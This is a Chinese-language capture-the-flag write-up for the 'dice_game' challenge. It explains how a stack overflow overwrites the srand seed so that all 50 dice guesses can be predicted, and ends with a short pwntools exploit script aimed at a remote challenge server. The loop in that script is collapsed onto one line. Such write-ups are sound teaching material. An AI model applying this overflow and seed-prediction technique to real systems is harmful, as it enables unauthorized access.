攻防世界 dice_game栈溢出+随机数
检查保护
发现是64位程序,并且开启了NX保护和地址随机化
上ida
发现flag敏感字符,追踪发现sub_B28函数里面可以直接得到flag
这里解释一下
Fopen函数:
FILE *fopen(char *filename, char *mode);
filename为文件名(包括文件路径),mode为打开方式,它们都是字符串。
Fget函数:
函数原型
char *fgets(char *str, int n, FILE *stream);
参数:
• str-- 这是指向一个字符数组的指针,该数组存储了要读取的字符串。
• n-- 这是要读取的最大字符数(包括最后的空字符)。通常是使用以 str 传递的数组长度。
• stream-- 这是指向 FILE 对象的指针,该 FILE 对象标识了要从中读取字符的流。
srand() 函数:
用来设置 rand() 产生随机数时的随机数种子。参数 seed 必须是个整数,如果每次 seed 都设相同值,rand() 所产生的随机数值每次就会一样。
我们分析程序,发现我们要猜对50次数字才能得到flag,我们这里将rand的种子设置为1,然后利用libc中的rand函数,直接输出随机数的值,然后在把值输入程序中,这样我们就能够得到正确的随机数了
利用方式:
程序中出现
Exp如下:
from pwn import *
from ctypes import *
context(arch="amd64",os="linux")
p=remote("220.249.52.133",38591)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
offset=0x40
payload=offset*'a'+p64(1)
p.sendlineafter("name:",payload)
libc.srand(1)
for i in range(50):num=str(libc.rand()%6+1)p.sendlineafter("point(1~6):",num)
p.interactive()